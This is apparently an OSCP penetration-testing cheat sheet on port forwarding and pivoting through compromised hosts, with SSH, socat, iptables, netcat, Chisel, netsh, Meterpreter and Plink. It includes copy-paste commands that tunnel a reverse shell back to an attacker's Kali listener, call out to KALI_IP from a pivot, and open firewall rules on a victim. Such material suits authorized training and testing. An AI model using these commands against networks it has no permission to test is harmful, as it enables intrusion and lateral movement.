Port Forwarding — Complete Reference
What Is Port Forwarding?
Port forwarding redirects a network connection from one IP:port to another. In OSCP/pentesting, it lets you reach services on networks you can’t access directly — by bouncing traffic through a compromised pivot host.
[Attacker] ──→ [Pivot:LISTEN_PORT] ──→ [Internal Target:TARGET_PORT]
Local vs Remote Forwarding
| Type | Who Listens | What Happens | Use Case |
|---|---|---|---|
| Local | Your attacker machine | Traffic on your local port → pivot → internal target | Reach an internal service from Kali |
| Remote | The pivot/remote host | Traffic on pivot’s port → back to your machine | Expose your listener through a pivot |
| Relay / Hop | The pivot itself | Pivot forwards traffic without involving Kali as SSH host | Chain through a host with no SSH to Kali |
Local Forward — Reach an internal service from Kali
Kali:LOCAL_PORT ──→ Pivot ──→ Internal:TARGET_PORT
You connect to 127.0.0.1:LOCAL_PORT on Kali and reach the internal target.
Remote Forward — Expose a port on the pivot
Pivot:LISTEN_PORT ──→ back to Kali:LOCAL_PORT
The pivot listens and forwards traffic back to Kali. Used when an internal machine needs to connect out to you.
📌 1) SSH Port Forwarding
See SSH Tunneling for the full SSH pivot reference.
Local Port Forward (-L) — Reach internal service from Kali
# Syntax: -L LOCAL_PORT:TARGET_HOST:TARGET_PORT pivot_user@PIVOT_IP
ssh -L 8080:172.16.0.10:80 user@PIVOT_IP -N -f
# Access the internal web server:
curl http://127.0.0.1:8080
gobuster dir -u http://127.0.0.1:8080 -w wordlist.txt
# Forward RDP to internal host
ssh -L 3389:172.16.0.10:3389 user@PIVOT_IP -N -f
xfreerdp3 /u:Administrator /p:Password1 /v:127.0.0.1:3389
# Multiple forwards in one SSH command
ssh -L 8080:172.16.0.10:80 -L 4433:172.16.0.10:443 user@PIVOT_IP -N -f
# Forward to a host only the pivot can reach (not the pivot itself)
ssh -L 8080:192.168.1.50:80 user@PIVOT_IP -N -fRemote Port Forward (-R) — Expose your listener on the pivot
# Syntax: -R PIVOT_PORT:LOCAL_HOST:LOCAL_PORT pivot_user@PIVOT_IP
ssh -R 4444:127.0.0.1:4444 user@PIVOT_IP -N -f
# Now any process on the pivot connecting to 127.0.0.1:4444
# reaches your Kali listener on port 4444
# Real reverse shell use case:
# Kali listener:
nc -lvnp 4444
# On pivot: set up the -R tunnel:
ssh -R 4444:127.0.0.1:4444 kali@KALI_IP -N -f
# Trigger reverse shell on internal target → it hits pivot:4444 → goes to Kali
# Expose pivot's own port to Kali
ssh -R 8080:127.0.0.1:80 user@PIVOT_IP -N -f
# Now curl http://127.0.0.1:8080 on Kali reaches the pivot's own port 80
-N= don’t run a command (tunnel only),-f= go to background.
Add a tunnel to an existing SSH session (no reconnect)
# Press: Enter ~C (that's tilde then capital C) inside an active SSH session
# You'll see: ssh>
ssh> -L 8080:172.16.0.10:80
ssh> -R 4444:127.0.0.1:4444📌 2) Socat — Port Relay (Linux & Windows)
See Socat for the full socat reference.
Socat needs no SSH — it just relays raw TCP. Useful when you have a shell but no SSH.
Basic TCP relay (local → internal target)
# On the pivot: listen on port 8080, forward to internal target
socat TCP4-LISTEN:8080,fork TCP4:172.16.0.10:80
# On Kali:
curl http://PIVOT_IP:8080 # Reaches 172.16.0.10:80
# Relay RDP
socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389Relay chain (Kali → Pivot 1 → Pivot 2 → Target)
# On Pivot 1: relay toward Pivot 2
socat TCP4-LISTEN:8080,fork TCP4:PIVOT2_IP:9090
# On Pivot 2: relay toward internal target
socat TCP4-LISTEN:9090,fork TCP4:192.168.1.50:80
# On Kali:
curl http://PIVOT1_IP:8080 # Reaches 192.168.1.50:80 via two hopsRun in background
socat TCP4-LISTEN:8080,fork TCP4:172.16.0.10:80 &
# Kill it later:
kill %1 # or: pkill socatWindows socat (no install needed — use static binary)
REM Transfer socat.exe via HTTP, certutil, etc.
socat.exe TCP4-LISTEN:8080,fork TCP4:172.16.0.10:80📌 3) iptables DNAT — Linux Built-in (Root Required, No Binary)
iptables DNAT rewrites the destination of incoming packets — a true kernel-level port forward. No extra tools needed, just root.
Step 1 — Enable IP forwarding
# Enable temporarily (resets on reboot)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Or with sysctl (also temporary unless added to /etc/sysctl.conf)
sysctl -w net.ipv4.ip_forward=1
# Verify
cat /proc/sys/net/ipv4/ip_forward # Should output: 1Step 2 — Add DNAT rule
# Forward all incoming traffic on pivot's port 8080 → internal target:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 172.16.0.10:80
# Also need MASQUERADE so return traffic routes correctly
iptables -t nat -A POSTROUTING -j MASQUERADE
# On Kali: access via the pivot's IP
curl http://PIVOT_IP:8080 # Reaches 172.16.0.10:80
# Allow forwarded traffic (if iptables FORWARD chain is DROP by default)
iptables -A FORWARD -p tcp -d 172.16.0.10 --dport 80 -j ACCEPT
iptables -A FORWARD -p tcp -s 172.16.0.10 --sport 80 -j ACCEPTClean up
# List rules with line numbers
iptables -t nat -L --line-numbers -n -v
# Delete a specific rule (e.g. rule 1 in PREROUTING)
iptables -t nat -D PREROUTING 1
# Flush all NAT rules (careful — removes everything)
iptables -t nat -FLocal redirect (traffic from the pivot itself)
# Redirect traffic from the pivot's localhost:8080 → internal target
iptables -t nat -A OUTPUT -p tcp --dport 8080 -j DNAT --to-destination 172.16.0.10:80📌 4) rinetd — Persistent Config-Based Forwarder (Linux)
rinetd is a lightweight TCP/UDP port forwarding daemon configured via a file. Good for persistent or multiple rules.
Install
sudo apt install rinetdConfigure /etc/rinetd.conf
# Format: bindaddress bindport connectaddress connectport
# Bind on all interfaces, port 8080 → forward to 172.16.0.10:80
0.0.0.0 8080 172.16.0.10 80
# Forward RDP
0.0.0.0 33890 172.16.0.10 3389
# Forward SMB
0.0.0.0 4450 172.16.0.10 445
# Bind on specific interface only
10.10.10.5 8080 172.16.0.10 80
Run / Reload
# Start
sudo rinetd -c /etc/rinetd.conf
# Or run without modifying the system config
rinetd -c /tmp/rinetd.conf
# If already running as a service
sudo systemctl restart rinetd
sudo systemctl status rinetd
# Check it's listening
ss -tlnp | grep rinetd
netstat -tlnp | grep rinetdOne-liner (no config file — use socat or SSH instead)
Note: rinetd requires a config file — for truly temporary single-port forwarding, socat is simpler.
📌 5) Netcat Relay (No Additional Tools)
Useful when netcat is the only tool available. Uses mkfifo to create a bidirectional pipe.
Basic relay
# On pivot: relay port 8080 → internal target:80
mkfifo /tmp/backpipe
nc -lvnp 8080 < /tmp/backpipe | nc 172.16.0.10 80 > /tmp/backpipe
# Kali now connects to PIVOT_IP:8080 and reaches 172.16.0.10:80With timeout / one-shot (nc without -k)
# Each connection spawns a new relay (nc closes after one connection)
# Use a loop for persistence:
while true; do
mkfifo /tmp/bp
nc -lvnp 8080 < /tmp/bp | nc 172.16.0.10 80 > /tmp/bp
rm /tmp/bp
done &Limitation: Standard netcat relays are one-connection-at-a-time. Use socat with
forkfor concurrent connections.
Ncat (nmap’s netcat) — persistent relay
# ncat supports --keep-open for multiple connections
ncat -l 8080 --keep-open --sh-exec "ncat 172.16.0.10 80"📌 6) Chisel — Specific Port Forwards
See Chisel for the full Chisel reference.
Chisel can do specific port forwards (not just SOCKS) over HTTP.
# Kali server
chisel server -p 8000 --reverse
# Pivot client — forward specific port
# Format: R:KALI_PORT:TARGET_HOST:TARGET_PORT
chisel client KALI_IP:8000 R:8080:172.16.0.10:80
# Kali now reaches 172.16.0.10:80 via 127.0.0.1:8080
# Multiple forwards in one command
chisel client KALI_IP:8000 R:8080:172.16.0.10:80 R:3389:172.16.0.10:3389
# Forward without reverse (if Kali can reach pivot directly)
chisel server -p 8000 # On pivot
chisel client PIVOT_IP:8000 8080:172.16.0.10:80 # On Kali📌 7) netsh portproxy — Windows Built-in (No Binary)
See Windows Tunneling for the full Windows tunneling reference.
REM Local forward: listen on Windows pivot, forward to internal host
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.10
REM Allow through firewall
netsh advfirewall firewall add rule name="fwd8080" protocol=TCP dir=in localport=8080 action=allow
REM View all rules
netsh.exe interface portproxy show all
REM Delete a rule
netsh.exe interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
REM Clean up firewall rule
netsh advfirewall firewall delete rule name="fwd8080"
REM Flush all port proxy rules
netsh.exe interface portproxy reset📌 8) Meterpreter portfwd
See Meterpreter for the full Meterpreter reference.
# Inside a meterpreter session:
# Local forward — Kali port 8080 → internal target:80
meterpreter > portfwd add -l 8080 -r 172.16.0.10 -p 80
# List forwards
meterpreter > portfwd list
# Delete a forward
meterpreter > portfwd delete -l 8080
# Flush all
meterpreter > portfwd flush
# Then on Kali:
curl http://127.0.0.1:8080 # Reaches 172.16.0.10:80📌 9) Plink.exe — Remote/Local Forward (Windows, No OpenSSH)
See Windows Tunneling for the full Plink reference.
REM Local forward — Windows pivot → Kali SSH → internal target
echo y | plink.exe -l kali_user -pw password -L 8080:172.16.0.10:80 KALI_IP -N
REM Remote forward — expose Windows port 3389 on Kali port 9090
echo y | plink.exe -l kali_user -pw password -R 9090:127.0.0.1:3389 KALI_IP -N📌 Quick Scenario Reference
| Scenario | Best Tool | Command |
|---|---|---|
| Kali can SSH to Linux pivot | SSH -L | ssh -L 8080:INTERNAL:80 user@PIVOT -N -f |
| Need to expose Kali listener via pivot | SSH -R | ssh -R 4444:127.0.0.1:4444 user@PIVOT -N -f |
| No SSH, binary upload possible (Linux) | Socat | socat TCP4-LISTEN:8080,fork TCP4:INTERNAL:80 |
| No SSH, no binary, root on Linux | iptables DNAT | iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to 172.16.0.10:80 |
| Multiple persistent rules on Linux | rinetd | /etc/rinetd.conf → 0.0.0.0 8080 172.16.0.10 80 |
| Truly nothing available on Linux | Netcat relay | mkfifo /tmp/bp; nc -lvnp 8080 < /tmp/bp | nc 172.16.0.10 80 > /tmp/bp |
| Windows pivot, no binary, admin shell | netsh portproxy | netsh interface portproxy add v4tov4 ... |
| Windows pivot, binary upload possible | Chisel.exe | chisel.exe client KALI:8000 R:8080:INTERNAL:80 |
| Windows pivot, old, no SSH client | Plink.exe | plink.exe -L 8080:INTERNAL:80 kali@KALI_IP -N |
| Metasploit session open | Meterpreter | portfwd add -l 8080 -r INTERNAL -p 80 |
| HTTP/firewall bypass needed | Chisel | chisel client KALI:8000 R:8080:INTERNAL:80 |
📌 Quick OSCP Cheat Sheet (Copy/Paste)
# ─── LOCAL FORWARD (reach internal service from Kali) ──────────────────
# SSH
ssh -L 8080:172.16.0.10:80 user@PIVOT_IP -N -f
# Socat (on pivot)
socat TCP4-LISTEN:8080,fork TCP4:172.16.0.10:80 &
# iptables (on Linux pivot, root)
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 172.16.0.10:80
iptables -t nat -A POSTROUTING -j MASQUERADE
# Chisel (on pivot, Kali runs server)
chisel server -p 8000 --reverse # Kali
chisel client KALI_IP:8000 R:8080:172.16.0.10:80 # Pivot
# Meterpreter
portfwd add -l 8080 -r 172.16.0.10 -p 80
# netsh (Windows pivot, admin)
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.10
# ─── REMOTE FORWARD (expose your listener on the pivot) ────────────────
# SSH
ssh -R 4444:127.0.0.1:4444 user@PIVOT_IP -N -f
# Plink (Windows)
echo y | plink.exe -l kali_user -pw password -R 4444:127.0.0.1:4444 KALI_IP -N
# ─── CLEANUP ───────────────────────────────────────────────────────────
# Kill background socat
pkill socat
# Remove iptables rule
iptables -t nat -F
# Remove netsh rule (Windows)
netsh.exe interface portproxy reset